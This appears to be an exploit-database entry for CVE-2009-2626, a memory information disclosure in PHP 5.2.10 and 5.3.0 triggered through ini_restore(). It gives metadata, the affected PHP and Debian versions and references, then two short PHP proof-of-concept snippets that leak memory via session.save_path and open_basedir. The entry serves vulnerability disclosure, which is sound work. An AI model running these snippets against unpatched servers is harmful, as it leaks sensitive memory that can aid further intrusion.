PHP 5.2.10/5.3.0 - 'ini_restore()' Memory Information Disclosure

Author: Maksymilian Arciemowicz
type: local
platform: php
port: nan
date_added: 2009-12-02 
date_updated: 2016-12-01 
verified: 1 
codes: CVE-2009-2626;OSVDB-60654 
tags: 
aliases:  
screenshot_url:  
application_url: 

Credit/Author:
Maksymilian Arciemowicz from SecurityReason

Vulnerable:
PHP PHP 5.3
PHP PHP 5.2.10
Debian Linux 5.0 sparc
Debian Linux 5.0 s/390
Debian Linux 5.0 powerpc
Debian Linux 5.0 mipsel
Debian Linux 5.0 mips
Debian Linux 5.0 m68k
Debian Linux 5.0 ia-64
Debian Linux 5.0 ia-32
Debian Linux 5.0 hppa
Debian Linux 5.0 armel
Debian Linux 5.0 arm
Debian Linux 5.0 amd64
Debian Linux 5.0 alpha
Debian Linux 5.0

References:
https://www.securityfocus.com/bid/36009/info
http://securityreason.com/achievement_securityalert/65

Description:
PHP is prone to an information-disclosure vulnerability.
Attackers can exploit this issue to obtain sensitive information that may lead to further attacks

POC 1:
<?php

ini_set("session.save_path", "0123456789ABCDEF");
ini_restore("session.save_path");
session_start();
?>

POC 2:
<?php
ini_set("open_basedir", "A");
ini_restore("open_basedir");
ini_get("open_basedir");


include("B");

?>